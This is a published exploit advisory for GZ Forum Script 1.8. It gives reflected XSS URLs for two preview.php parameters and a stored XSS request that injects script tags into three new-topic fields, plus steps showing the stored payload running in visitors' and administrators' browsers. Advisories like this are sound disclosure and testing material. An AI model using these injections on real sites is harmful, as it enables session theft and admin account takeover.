# Exploit Title: GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)
# Date: 30/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/gz-forum-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
## Release Notes:
Reflected XSS:
The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials
Stored XSS
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.
## Reflected XSS
Path: /preview.php
GET 'catid' parameter is vulnerable to RXSS
http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a
Path: /preview.php
GET 'topicid' parameter is vulnerable to RXSS
http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2
## Stored XSS
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POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="free_name"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic_message"
<script>alert(1)</script>
-----------------------------39829578812616571248381709325--
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POST parameter 'free_name' is vulnerable to XSS
POST parameter 'topic' is vulnerable to XSS
POST parameter 'topic_message' is vulnerable to XSS
## Steps to Reproduce:
1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)
2. Inject your [XSS Payload] in "Name"
3. Inject your [XSS Payload] in "Topic Title "
4. Inject your [XSS Payload] in "Topic Message"
5. Submit
4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on
5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index)
